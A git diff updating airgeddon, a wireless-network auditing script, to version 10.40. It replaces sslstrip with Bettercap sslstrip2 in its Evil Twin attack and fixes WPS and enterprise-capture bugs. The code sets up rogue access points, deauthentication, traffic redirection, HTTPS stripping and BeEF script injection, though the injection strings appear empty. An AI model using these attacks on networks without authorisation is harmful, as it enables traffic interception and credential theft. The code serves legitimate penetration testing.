diff --git a/CHANGELOG.md b/CHANGELOG.md
index 33bef636c..0de6cdbbe 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,3 +1,11 @@
+### 10.40
+ - Removed deprecated route command
+ - Fixed error on WPS PINs found in database counter
+ - Sslstrip Evil Twin attack replaced by Bettercap-Sslstrip2 Evil Twin attack, sslstrip dependency removed
+ - Fixed error on Evil Twin attacks when tmux and Bettercap 2.x used
+ - Fixed wrong username shown on asleap decryption after capture for Enterprise Evil Twin attack
+ - Fixed freezing while trying to resume reaver session
+
### 10.31
- Fixed error of no returning to DoS menu after fail on handshake capture for Evil Twin Captive portal attack
- Fixed error of no returning to Evil Twin main menu for some special situations on BeEF attack
@@ -41,7 +49,7 @@
- Fixed error on enterprise certificates validation
- Added autoselection for secondary interface if only one existing
- Airmon compatibility check system refactored
- - Fixed error in default paths trophy files for ettercap/bettercap
+ - Fixed error in default paths trophy files for Ettercap/Bettercap
### 10.0
- Added plugins system
@@ -124,7 +132,7 @@
### 8.10
- WPS decrypted networks now have trophy file
- Tested compatibility with Kali 2018.2, Ubuntu 18.04 and Parrot 4.x
- - Controlled error for unsupported bettercap 2.x version
+ - Controlled error for unsupported Bettercap 2.x version
- Automatic check added on Handshake capture (Thank you to "IwraStudios")
- Fixed card detection bug on some Linux
diff --git a/Dockerfile b/Dockerfile
index 374ac84a8..2a7fe6447 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -73,7 +73,7 @@ RUN \
hcxtools \
hcxdumptool \
beef-git \
- sslstrip \
+ bettercap \
wireshark-cli
#Env var for display
@@ -113,16 +113,6 @@ RUN \
cp /opt/hashcat2.0/hashcat /usr/bin/ && \
chmod +x /usr/bin/hashcat
-#Install Bettercap and some dependencies
-RUN \
- pacman -S --noconfirm \
- ruby \
- libffi && \
- gem install bettercap && \
- ln -s /root/.gem/ruby/2.7.0/bin/bettercap /usr/local/bin/bettercap && \
- ln -s /usr/lib/libffi.so.7 /usr/lib/libffi.so.6 && \
- chmod +x /usr/local/bin/bettercap
-
#Clean packages
RUN \
yes | pacman -Sccc --noconfirm
diff --git a/README.md b/README.md
index efa002fc5..24b86ec3f 100644
--- a/README.md
+++ b/README.md
@@ -104,7 +104,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present
[Hat Tip To]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Hat%20Tip%20To
[Inspiration]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Inspiration
-[Version-shield]: https://img.shields.io/badge/version-10.31-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
+[Version-shield]: https://img.shields.io/badge/version-10.40-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
[Bash4.2-shield]: https://img.shields.io/badge/bash-4.2%2B-blue.svg?style=flat-square&colorA=273133&colorB=00db00 "Bash 4.2 or later"
[License-shield]: https://img.shields.io/badge/license-GPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "GPL v3+"
[Docker-shield]: https://img.shields.io/docker/cloud/automated/v1s1t0r1sh3r3/airgeddon.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!"
diff --git a/airgeddon.sh b/airgeddon.sh
index 2002a4d64..ccbaf9aad 100755
--- a/airgeddon.sh
+++ b/airgeddon.sh
@@ -2,7 +2,7 @@
#Title........: airgeddon.sh
#Description..: This is a multi-use bash script for Linux systems to audit wireless networks.
#Author.......: v1s1t0r
-#Version......: 10.31
+#Version......: 10.40
#Usage........: bash airgeddon.sh
#Bash Version.: 4.2 or later
@@ -56,7 +56,6 @@ optional_tools_names=(
"nft"
"ettercap"
"etterlog"
- "sslstrip"
"lighttpd"
"dnsspoof"
"wash"
@@ -107,23 +106,22 @@ declare -A possible_package_names=(
[${optional_tools_names[7]}]="nftables" #nft
[${optional_tools_names[8]}]="ettercap / ettercap-text-only / ettercap-graphical" #ettercap
[${optional_tools_names[9]}]="ettercap / ettercap-text-only / ettercap-graphical" #etterlog
- [${optional_tools_names[10]}]="sslstrip" #sslstrip
- [${optional_tools_names[11]}]="lighttpd" #lighttpd
- [${optional_tools_names[12]}]="dsniff" #dnsspoof
- [${optional_tools_names[13]}]="reaver" #wash
- [${optional_tools_names[14]}]="reaver" #reaver
- [${optional_tools_names[15]}]="bully" #bully
- [${optional_tools_names[16]}]="pixiewps" #pixiewps
- [${optional_tools_names[17]}]="bettercap" #bettercap
- [${optional_tools_names[18]}]="beef-xss / beef-project" #beef
- [${optional_tools_names[19]}]="aircrack-ng" #packetforge-ng
- [${optional_tools_names[20]}]="hostapd-wpe" #hostapd-wpe
- [${optional_tools_names[21]}]="asleap" #asleap
- [${optional_tools_names[22]}]="john" #john
- [${optional_tools_names[23]}]="openssl" #openssl
- [${optional_tools_names[24]}]="hcxtools" #hcxpcapngtool
- [${optional_tools_names[25]}]="hcxdumptool" #hcxdumptool
- [${optional_tools_names[26]}]="tshark / wireshark-cli / wireshark" #tshark
+ [${optional_tools_names[10]}]="lighttpd" #lighttpd
+ [${optional_tools_names[11]}]="dsniff" #dnsspoof
+ [${optional_tools_names[12]}]="reaver" #wash
+ [${optional_tools_names[13]}]="reaver" #reaver
+ [${optional_tools_names[14]}]="bully" #bully
+ [${optional_tools_names[15]}]="pixiewps" #pixiewps
+ [${optional_tools_names[16]}]="bettercap" #bettercap
+ [${optional_tools_names[17]}]="beef-xss / beef-project" #beef
+ [${optional_tools_names[18]}]="aircrack-ng" #packetforge-ng
+ [${optional_tools_names[19]}]="hostapd-wpe" #hostapd-wpe
+ [${optional_tools_names[20]}]="asleap" #asleap
+ [${optional_tools_names[21]}]="john" #john
+ [${optional_tools_names[22]}]="openssl" #openssl
+ [${optional_tools_names[23]}]="hcxtools" #hcxpcapngtool
+ [${optional_tools_names[24]}]="hcxdumptool" #hcxdumptool
+ [${optional_tools_names[25]}]="tshark / wireshark-cli / wireshark" #tshark
[${update_tools[0]}]="curl" #curl
)
@@ -133,8 +131,8 @@ declare -A possible_alias_names=(
)
#General vars
-airgeddon_version="10.31"
-language_strings_expected_version="10.31-1"
+airgeddon_version="10.40"
+language_strings_expected_version="10.40-1"
standardhandshake_filename="handshake-01.cap"
standardpmkid_filename="pmkid_hash.txt"
standardpmkidcap_filename="pmkid.cap"
@@ -255,14 +253,12 @@ hosts_file="ag.hosts"
internet_dns1="8.8.8.8"
internet_dns2="8.8.4.4"
internet_dns3="139.130.4.5"
-sslstrip_port="10000"
bettercap_proxy_port="8080"
bettercap_dns_port="5300"
minimum_bettercap_advanced_options="1.5.9"
minimum_bettercap_fixed_beef_iptables_issue="1.6.2"
bettercap2_version="2.0"
bettercap2_sslstrip_working_version="2.28"
-sslstrip_file="ag.sslstrip.log"
ettercap_file="ag.ettercap.log"
bettercap_file="ag.bettercap.log"
bettercap_config_file="ag.bettercap.cap"
@@ -1256,6 +1252,7 @@ function integrate_algorithms_pins() {
}
#Search for target wps bssid mac in pin database and set the vars to be used
+#shellcheck disable=SC2128
function search_in_pin_database() {
debug_print
@@ -1267,12 +1264,9 @@ function search_in_pin_database() {
if [ "${item}" = "${six_wpsbssid_first_digits_clean}" ]; then
bssid_found_in_db=1
arrpins=("${PINDB[${item//[[:space:]]/ }]}")
- for item2 in "${arrpins[@]}"; do
- counter_pins_found=$((counter_pins_found + 1))
- pins_found+=("${item2}")
- fill_wps_data_array "${wps_bssid}" "Database" "${item2}"
- done
- break
+ pins_found+=("${arrpins[0]}")
+ counter_pins_found=$(echo "${pins_found[@]}" | wc -w)
+ fill_wps_data_array "${wps_bssid}" "Database" "${pins_found}"
fi
done
}
@@ -2360,10 +2354,10 @@ function select_secondary_et_interface() {
"et_sniffing")
language_strings "${language}" 291 "title"
;;
- "et_sniffing_sslstrip")
+ "et_sniffing_sslstrip2")
language_strings "${language}" 292 "title"
;;
- "et_sniffing_sslstrip2")
+ "et_sniffing_sslstrip2_beef")
language_strings "${language}" 397 "title"
;;
"et_captive_portal")
@@ -5229,21 +5223,21 @@ function initialize_menu_options_dependencies() {
hashcat_attacks_dependencies=("${optional_tools_names[4]}")
et_onlyap_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}")
et_sniffing_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[8]}" "${optional_tools_names[9]}")
- et_sniffing_sslstrip_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[8]}" "${optional_tools_names[9]}" "${optional_tools_names[10]}")
- et_captive_portal_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[11]}" "${optional_tools_names[12]}")
- wash_scan_dependencies=("${optional_tools_names[13]}")
- reaver_attacks_dependencies=("${optional_tools_names[14]}")
- bully_attacks_dependencies=("${optional_tools_names[15]}")
- bully_pixie_dust_attack_dependencies=("${optional_tools_names[15]}" "${optional_tools_names[16]}")
- reaver_pixie_dust_attack_dependencies=("${optional_tools_names[14]}" "${optional_tools_names[16]}")
- et_sniffing_sslstrip2_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[17]}" "${optional_tools_names[18]}")
- wep_attack_dependencies=("${optional_tools_names[2]}" "${optional_tools_names[19]}")
- enterprise_attack_dependencies=("${optional_tools_names[20]}" "${optional_tools_names[21]}" "${optional_tools_names[23]}")
- asleap_attacks_dependencies=("${optional_tools_names[21]}")
- john_attacks_dependencies=("${optional_tools_names[22]}")
- johncrunch_attacks_dependencies=("${optional_tools_names[22]}" "${optional_tools_names[1]}")
- enterprise_certificates_dependencies=("${optional_tools_names[23]}")
- pmkid_dependencies=("${optional_tools_names[24]}" "${optional_tools_names[25]}")
+ et_sniffing_sslstrip2_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[16]}")
+ et_captive_portal_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[10]}" "${optional_tools_names[11]}")
+ wash_scan_dependencies=("${optional_tools_names[12]}")
+ reaver_attacks_dependencies=("${optional_tools_names[13]}")
+ bully_attacks_dependencies=("${optional_tools_names[14]}")
+ bully_pixie_dust_attack_dependencies=("${optional_tools_names[14]}" "${optional_tools_names[15]}")
+ reaver_pixie_dust_attack_dependencies=("${optional_tools_names[13]}" "${optional_tools_names[15]}")
+ et_sniffing_sslstrip2_beef_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[16]}" "${optional_tools_names[17]}")
+ wep_attack_dependencies=("${optional_tools_names[2]}" "${optional_tools_names[18]}")
+ enterprise_attack_dependencies=("${optional_tools_names[19]}" "${optional_tools_names[20]}" "${optional_tools_names[22]}")
+ asleap_attacks_dependencies=("${optional_tools_names[20]}")
+ john_attacks_dependencies=("${optional_tools_names[21]}")
+ johncrunch_attacks_dependencies=("${optional_tools_names[21]}" "${optional_tools_names[1]}")
+ enterprise_certificates_dependencies=("${optional_tools_names[22]}")
+ pmkid_dependencies=("${optional_tools_names[23]}" "${optional_tools_names[24]}")
}
#Set possible changes for some commands that can be found in different ways depending of the O.S.
@@ -5442,7 +5436,6 @@ function clean_tmpfiles() {
if [ "${beef_found}" -eq 1 ]; then
rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1
fi
- rm -rf "${tmpdir}${sslstrip_file}" > /dev/null 2>&1
rm -rf "${tmpdir}${webserver_file}" > /dev/null 2>&1
rm -rf "${tmpdir}${webdir}" > /dev/null 2>&1
rm -rf "${tmpdir}${certsdir}" > /dev/null 2>&1
@@ -5468,7 +5461,7 @@ function clean_routing_rules() {
debug_print
if [ -n "${original_routing_state}" ]; then
- echo "${original_routing_state}" > /proc/sys/net/ipv4/ip_forward
+ echo "${original_routing_state}" > /proc/sys/net/ipv4/ip_forward 2> /dev/null
fi
clean_initialize_iptables_nftables
@@ -5885,7 +5878,7 @@ function evil_twin_attacks_menu() {
language_strings "${language}" 256 et_onlyap_dependencies[@]
language_strings "${language}" 257 "separator"
language_strings "${language}" 259 et_sniffing_dependencies[@]
- language_strings "${language}" 261 et_sniffing_sslstrip_dependencies[@]
+ language_strings "${language}" 261 et_sniffing_sslstrip2_dependencies[@]
language_strings "${language}" 396
language_strings "${language}" 262 "separator"
language_strings "${language}" 263 et_captive_portal_dependencies[@]
@@ -5944,8 +5937,15 @@ function evil_twin_attacks_menu() {
else
current_iface_on_messages="${interface}"
if check_interface_wifi "${interface}"; then
- et_mode="et_sniffing_sslstrip"
- et_dos_menu
+ et_mode="et_sniffing_sslstrip2"
+ get_bettercap_version
+ if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}" && ! compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_sslstrip_working_version}"; then
+ echo
+ language_strings "${language}" 174 "red"
+ language_strings "${language}" 115 "read"
+ else
+ et_dos_menu
+ fi
else
echo
language_strings "${language}" 281 "red"
@@ -6006,15 +6006,15 @@ function beef_pre_menu() {
language_strings "${language}" 266
print_simple_separator
- if [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[18]}]} -eq 1 ]]; then
- if [[ ${optional_tools[${optional_tools_names[5]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[6]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[7]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 1 ]]; then
+ if [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 1 ]]; then
+ if [[ ${optional_tools[${optional_tools_names[5]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[6]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[7]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[16]}]} -eq 1 ]]; then
language_strings "${language}" 409 "warning"
language_strings "${language}" 416 "pink"
else
- language_strings "${language}" 409 et_sniffing_sslstrip2_dependencies[@]
+ language_strings "${language}" 409 et_sniffing_sslstrip2_beef_dependencies[@]
fi
else
- language_strings "${language}" 409 et_sniffing_sslstrip2_dependencies[@]
+ language_strings "${language}" 409 et_sniffing_sslstrip2_beef_dependencies[@]
fi
print_simple_separator
@@ -6032,7 +6032,7 @@ function beef_pre_menu() {
else
current_iface_on_messages="${interface}"
if check_interface_wifi "${interface}"; then
- et_mode="et_sniffing_sslstrip2"
+ et_mode="et_sniffing_sslstrip2_beef"
get_bettercap_version
if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}" && ! compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_sslstrip_working_version}"; then
echo
@@ -6049,7 +6049,7 @@ function beef_pre_menu() {
fi
;;
2)
- if [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[18]}]} -eq 1 ]]; then
+ if [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 1 ]]; then
echo
language_strings "${language}" 412 "red"
language_strings "${language}" 115 "read"
@@ -8618,6 +8618,10 @@ function handle_asleap_attack() {
if [ ${enterprise_mode} = "noisy" ]; then
if [ ${#enterprise_captured_challenges_responses[@]} -eq 1 ]; then
+ for item in "${!enterprise_captured_challenges_responses[@]}"; do
+ enterprise_username="${item}"
+ done
+
echo
language_strings "${language}" 542 "yellow"
else
@@ -8747,8 +8751,8 @@ function exec_et_sniffing_attack() {
clean_tmpfiles
}
-#Execute Evil Twin with sniffing+sslstrip attack
-function exec_et_sniffing_sslstrip_attack() {
+#Execute Evil Twin with sniffing+bettercap-sslstrip2 attack
+function exec_et_sniffing_sslstrip2_attack() {
debug_print
@@ -8758,8 +8762,7 @@ function exec_et_sniffing_sslstrip_attack() {
set_std_internet_routing_rules
launch_dhcp_server
exec_et_deauth
- launch_sslstrip
- launch_ettercap_sniffing
+ launch_bettercap_sniffing
set_et_control_script
launch_et_control_window
@@ -8773,14 +8776,14 @@ function exec_et_sniffing_sslstrip_attack() {
recover_current_channel
fi
restore_et_interface
- if [ ${ettercap_log} -eq 1 ]; then
- parse_ettercap_log
+ if [ ${bettercap_log} -eq 1 ]; then
+ parse_bettercap_log
fi
clean_tmpfiles
}
#Execute Evil Twin with sniffing+bettercap-sslstrip2/beef attack
-function exec_et_sniffing_sslstrip2_attack() {
+function exec_et_sniffing_sslstrip2_beef_attack() {
debug_print
@@ -8863,11 +8866,33 @@ function set_bettercap_config() {
tmpfiles_toclean=1
rm -rf "${tmpdir}${bettercap_config_file}" > /dev/null 2>&1
- rm -rf "${tmpdir}${bettercap_hook_file}" > /dev/null 2>&1
+
+ if [ "${et_mode}" = "et_sniffing_sslstrip2_beef" ]; then
+
+ rm -rf "${tmpdir}${bettercap_hook_file}" > /dev/null 2>&1
+
+ {
+ echo -e "set http.proxy.script ${bettercap_hook_file}"
+ } >> ${tmpdir}${bettercap_config_file}
+
+ {
+ echo -e "function onLoad() {"
+ echo -e "\tlog('BeefInject loaded.');"
+ echo -e "\tlog('targets: ' + env['arp.spoof.targets']);"
+ echo -e "}\n"
+ echo -e "function onResponse(req, res) {"
+ echo -e "\tif (res.ContentType.indexOf('text/html') == 0) {"
+ echo -e "\t\tvar body = res.ReadBody();"
+ echo -e "\t\tif (body.indexOf('') != -1) {"
+ echo -e "\t\t\tres.Body = body.replace('', '');"
+ echo -e "\t\t}"
+ echo -e "\t}"
+ echo -e "}"
+ } >> ${tmpdir}${bettercap_hook_file}
+ fi
{
echo -e "set http.proxy.port ${bettercap_proxy_port}"
- echo -e "set http.proxy.script ${bettercap_hook_file}"
echo -e "set http.proxy.sslstrip true"
echo -e "http.proxy on\n"
echo -e "set net.sniff.verbose true"
@@ -8885,21 +8910,6 @@ function set_bettercap_config() {
echo -e "events.ignore net.sniff.https\n"
echo -e "events.stream on"
} >> ${tmpdir}${bettercap_config_file}
-
- {
- echo -e "function onLoad() {"
- echo -e "\tlog('BeefInject loaded.');"
- echo -e "\tlog('targets: ' + env['arp.spoof.targets']);"
- echo -e "}\n"
- echo -e "function onResponse(req, res) {"
- echo -e "\tif (res.ContentType.indexOf('text/html') == 0) {"
- echo -e "\t\tvar body = res.ReadBody();"
- echo -e "\t\tif (body.indexOf('') != -1) {"
- echo -e "\t\t\tres.Body = body.replace('', '');"
- echo -e "\t\t}"
- echo -e "\t}"
- echo -e "}"
- } >> ${tmpdir}${bettercap_hook_file}
}
#Create configuration file for hostapd
@@ -9018,10 +9028,10 @@ function launch_fake_ap() {
"et_onlyap")
hostapd_scr_window_position=${g1_topleft_window}
;;
- "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2")
+ "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2_beef")
hostapd_scr_window_position=${g3_topleft_window}
;;
- "et_sniffing_sslstrip")
+ "et_sniffing_sslstrip2")
hostapd_scr_window_position=${g4_topleft_window}
;;
esac
@@ -9043,7 +9053,7 @@ function set_dhcp_config() {
debug_print
- if ! route | grep ${ip_range} > /dev/null; then
+ if ! ip route | grep ${ip_range} > /dev/null; then
et_ip_range=${ip_range}
et_ip_router=${router_ip}
et_broadcast_ip=${broadcast_ip}
@@ -9176,14 +9186,14 @@ function set_std_internet_routing_rules() {
else
"${iptables_cmd}" -P FORWARD ACCEPT
fi
- echo "1" > /proc/sys/net/ipv4/ip_forward
+ echo "1" > /proc/sys/net/ipv4/ip_forward 2> /dev/null
else
if [ "${iptables_nftables}" -eq 1 ]; then
"${iptables_cmd}" add rule ip filter FORWARD counter drop
else
"${iptables_cmd}" -P FORWARD DROP
fi
- echo "0" > /proc/sys/net/ipv4/ip_forward
+ echo "0" > /proc/sys/net/ipv4/ip_forward 2> /dev/null
fi
if [ "${et_mode}" = "et_captive_portal" ]; then
@@ -9204,15 +9214,17 @@ function set_std_internet_routing_rules() {
else
"${iptables_cmd}" -A INPUT -p udp --destination-port 53 -j ACCEPT
fi
- elif [ "${et_mode}" = "et_sniffing_sslstrip" ]; then
+ elif [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then
if [ "${iptables_nftables}" -eq 1 ]; then
- "${iptables_cmd}" add rule ip nat PREROUTING tcp dport 80 counter redirect to :${sslstrip_port}
- "${iptables_cmd}" add rule ip filter INPUT tcp dport ${sslstrip_port} counter accept
+ "${iptables_cmd}" add rule ip filter INPUT tcp dport ${bettercap_proxy_port} counter accept
+ "${iptables_cmd}" add rule ip filter INPUT udp dport ${bettercap_dns_port} counter accept
+ "${iptables_cmd}" add rule ip filter INPUT iifname "lo" counter accept
else
- "${iptables_cmd}" -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port ${sslstrip_port}
- "${iptables_cmd}" -A INPUT -p tcp --destination-port ${sslstrip_port} -j ACCEPT
+ "${iptables_cmd}" -A INPUT -p tcp --destination-port ${bettercap_proxy_port} -j ACCEPT
+ "${iptables_cmd}" -A INPUT -p udp --destination-port ${bettercap_dns_port} -j ACCEPT
+ "${iptables_cmd}" -A INPUT -i lo -j ACCEPT
fi
- elif [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then
+ elif [ "${et_mode}" = "et_sniffing_sslstrip2_beef" ]; then
if [ "${iptables_nftables}" -eq 1 ]; then
"${iptables_cmd}" add rule ip filter INPUT tcp dport ${bettercap_proxy_port} counter accept
"${iptables_cmd}" add rule ip filter INPUT udp dport ${bettercap_dns_port} counter accept
@@ -9256,10 +9268,10 @@ function launch_dhcp_server() {
"et_onlyap")
dchcpd_scr_window_position=${g1_bottomleft_window}
;;
- "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2")
+ "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2_beef")
dchcpd_scr_window_position=${g3_middleleft_window}
;;
- "et_sniffing_sslstrip")
+ "et_sniffing_sslstrip2")
dchcpd_scr_window_position=${g4_middleleft_window}
;;
esac
@@ -9307,10 +9319,10 @@ function exec_et_deauth() {
"et_onlyap")
deauth_scr_window_position=${g1_bottomright_window}
;;
- "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2")
+ "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2_beef")
deauth_scr_window_position=${g3_bottomleft_window}
;;
- "et_sniffing_sslstrip")
+ "et_sniffing_sslstrip2")
deauth_scr_window_position=${g4_bottomleft_window}
;;
esac
@@ -9404,16 +9416,16 @@ function set_wps_attack_script() {
cat >&7 <<-EOF
"pindb")
script_pins_found=(${pins_found[@]})
- script_attack_cmd1="${unbuffer}timeout -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}"
+ script_attack_cmd1="${unbuffer}timeout --foreground -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}"
pin_header1="${white_color}Testing PIN "
;;
"custompin")
current_pin=${custom_pin}
- script_attack_cmd1="${unbuffer}timeout -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}"
+ script_attack_cmd1="${unbuffer}timeout --foreground -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}"
pin_header1="${white_color}Testing PIN "
;;
"pixiedust")
- script_attack_cmd1="${unbuffer}timeout -s SIGTERM ${timeout_secs_per_pixiedust} ${attack_cmd1}"
+ script_attack_cmd1="${unbuffer}timeout --foreground -s SIGTERM ${timeout_secs_per_pixiedust} ${attack_cmd1}"
pin_header1="${white_color}Testing Pixie Dust attack${normal_color}"
;;
"bruteforce")
@@ -9421,7 +9433,7 @@ function set_wps_attack_script() {
pin_header1="${white_color}Testing all possible PINs${normal_color}"
;;
"nullpin")
- script_attack_cmd1="${unbuffer}timeout -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}"
+ script_attack_cmd1="${unbuffer}timeout --foreground -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}"
pin_header1="${white_color}Testing null PIN"
;;
esac
@@ -10202,10 +10214,10 @@ function set_et_control_script() {
"et_onlyap")
local control_msg=${et_misc_texts[${language},4]}
;;
- "et_sniffing"|"et_sniffing_sslstrip")
+ "et_sniffing"|"et_sniffing_sslstrip2")
local control_msg=${et_misc_texts[${language},5]}
;;
- "et_sniffing_sslstrip2")
+ "et_sniffing_sslstrip2_beef")
local control_msg=${et_misc_texts[${language},27]}
;;
"et_captive_portal")
@@ -10333,11 +10345,11 @@ function launch_dns_blackhole() {
echo -e "172.217.13.78\tclients4.google.com"
} >> "${tmpdir}${hosts_file}"
- manage_output "-hold -bg \"#000000\" -fg \"#0000FF\" -geometry ${g4_middleright_window} -T \"DNS\"" "${optional_tools_names[12]} -i ${interface} -f \"${tmpdir}${hosts_file}\"" "DNS"
+ manage_output "-hold -bg \"#000000\" -fg \"#0000FF\" -geometry ${g4_middleright_window} -T \"DNS\"" "${optional_tools_names[11]} -i ${interface} -f \"${tmpdir}${hosts_file}\"" "DNS"
if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
et_processes+=($!)
else
- get_tmux_process_id "${optional_tools_names[12]} -i ${interface} -f \"${tmpdir}${hosts_file}\""
+ get_tmux_process_id "${optional_tools_names[11]} -i ${interface} -f \"${tmpdir}${hosts_file}\""
et_processes+=("${global_process_pid}")
global_process_pid=""
fi
@@ -10375,10 +10387,10 @@ function launch_et_control_window() {
"et_captive_portal")
control_scr_window_position=${g4_topright_window}
;;
- "et_sniffing_sslstrip")
- control_scr_window_position=${g4_topright_window}
- ;;
"et_sniffing_sslstrip2")
+ control_scr_window_position=${g3_topright_window}
+ ;;
+ "et_sniffing_sslstrip2_beef")
control_scr_window_position=${g4_topright_window}
;;
esac
@@ -10644,23 +10656,6 @@ function launch_webserver() {
fi
}
-#Launch sslstrip for sslstrip sniffing Evil Twin attack
-function launch_sslstrip() {
-
- debug_print
-
- rm -rf "${tmpdir}${sslstrip_file}" > /dev/null 2>&1
- recalculate_windows_sizes
- manage_output "-hold -bg \"#000000\" -fg \"#0000FF\" -geometry ${g4_middleright_window} -T \"Sslstrip\"" "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" "Sslstrip"
- if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
- et_processes+=($!)
- else
- get_tmux_process_id "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k"
- et_processes+=("${global_process_pid}")
- global_process_pid=""
- fi
-}
-
#Launch ettercap sniffer
function launch_ettercap_sniffing() {
@@ -10671,9 +10666,6 @@ function launch_ettercap_sniffing() {
"et_sniffing")
sniffing_scr_window_position=${g3_bottomright_window}
;;
- "et_sniffing_sslstrip")
- sniffing_scr_window_position=${g4_bottomright_window}
- ;;
esac
ettercap_cmd="ettercap -i ${interface} -q -T -z -S -u"
if [ ${ettercap_log} -eq 1 ]; then
@@ -10800,7 +10792,7 @@ function kill_beef() {
debug_print
local beef_pid
- beef_pid="$(ps -C "${optional_tools_names[18]}" --no-headers -o pid | tr -d ' ')"
+ beef_pid="$(ps -C "${optional_tools_names[17]}" --no-headers -o pid | tr -d ' ')"
if ! kill "${beef_pid}" &> /dev/null; then
if ! kill "$(ps -C "beef" --no-headers -o pid | tr -d ' ')" &> /dev/null; then
kill "$(ps -C "ruby" --no-headers -o pid,cmd | grep "beef" | awk '{print $1}')" &> /dev/null
@@ -10845,7 +10837,7 @@ function prepare_beef_start() {
debug_print
valid_possible_beef_path=0
- if [[ ${beef_found} -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[18]}]} -eq 0 ]]; then
+ if [[ ${beef_found} -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 0 ]]; then
language_strings "${language}" 405 "blue"
ask_yesno 191 "yes"
if [ "${yesno}" = "y" ]; then
@@ -10862,12 +10854,12 @@ function prepare_beef_start() {
language_strings "${language}" 413 "yellow"
language_strings "${language}" 115 "read"
fi
- elif [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[18]}]} -eq 0 ]]; then
+ elif [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 0 ]]; then
fix_beef_executable "${beef_path}"
echo
language_strings "${language}" 413 "yellow"
language_strings "${language}" 115 "read"
- elif [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[18]}]} -eq 1 ]]; then
+ elif [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 1 ]]; then
language_strings "${language}" 405 "blue"
ask_yesno 415 "yes"
if [ "${yesno}" = "y" ]; then
@@ -10935,7 +10927,7 @@ function fix_beef_executable() {
echo -e "./beef"
} >> "/usr/bin/beef"
chmod +x "/usr/bin/beef" > /dev/null 2>&1
- optional_tools[${optional_tools_names[18]}]=1
+ optional_tools[${optional_tools_names[17]}]=1
rewrite_script_with_custom_beef "set" "${1}"
}
@@ -10963,8 +10955,8 @@ function start_beef_service() {
debug_print
- if ! service "${optional_tools_names[18]}" restart > /dev/null 2>&1; then
- systemctl restart "${optional_tools_names[18]}.service" > /dev/null 2>&1
+ if ! service "${optional_tools_names[17]}" restart > /dev/null 2>&1; then
+ systemctl restart "${optional_tools_names[17]}.service" > /dev/null 2>&1
fi
}
@@ -10992,7 +10984,7 @@ function launch_beef() {
global_process_pid=""
fi
else
- manage_output "-hold -bg \"#000000\" -fg \"#00FF00\" -geometry ${g4_middleright_window} -T \"BeEF\"" "${optional_tools_names[18]}" "BeEF"
+ manage_output "-hold -bg \"#000000\" -fg \"#00FF00\" -geometry ${g4_middleright_window} -T \"BeEF\"" "${optional_tools_names[17]}" "BeEF"
